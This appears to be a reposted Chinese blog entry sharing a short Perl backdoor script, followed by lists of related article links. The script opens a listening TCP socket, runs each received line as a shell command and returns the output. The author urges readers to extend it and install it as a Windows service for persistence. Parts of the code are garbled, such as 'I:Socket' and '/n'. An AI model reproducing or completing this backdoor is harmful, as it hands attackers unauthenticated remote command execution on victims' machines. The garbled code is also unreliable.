转至非安全 python


http://www.nohack.cn/bbs/dispbbs.asp?boardID=13ID=551page=1


用nc连,使用了简易的管道命令(``)使之能执行基本的系统命令,有兴趣的朋友可以添加、修改一下,做出更多东西,谁有空建议用win32模块给他系统化一下,再用perlsvc做个服务啥的


#!/usr/bin/perl
use I:Socket;


$port = $ARGV[0];
my $socket = new I:Socket::INET ( 'Localhost'=>'127.0.0.1' ,
'LocalPort'=>$port ,
'Listen'=>1 ,
'Proto'=>'tcp' ,
'Reuse'=>1);
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept()){
while (my $buffer=<$new_socket> ){
if ($buffer=~/exit/) {exit;}
$res_msg=`$buffer`;
print $new_socket $res_msg."/n";
}}

更多相关文章

  1. pip常用命令汇总
  2. pip常用命令、配置pip源
  3. python调用shell命令之三慷慨法
  4. Linux系统监控命令详解
  5. Linux开发工具(gcc gdb make shell)——GDB中list命令详解
  6. Linux curl 命令模拟 POST/GET 请求
  7. Linux基础-常用命令
  8. Linux中iptables基础命令
  9. linux基础(三)----linux命令系统学习----安装和登录命令

随机推荐

  1. [转]Android异步处理系列文章索引
  2. NDK简单实例
  3. android 定制个性按钮 控件
  4. Head First Android(安卓)Development-笔
  5. Android(安卓)SVG图片解析Demo
  6. Android实现在列表List中显示半透明小窗
  7. [Android] Android使用序列化接口Parcela
  8. Android生成Market分享链接
  9. Android(安卓)进阶学习:事件分发机制完全
  10. Android(安卓)进阶之刁钻问题汇总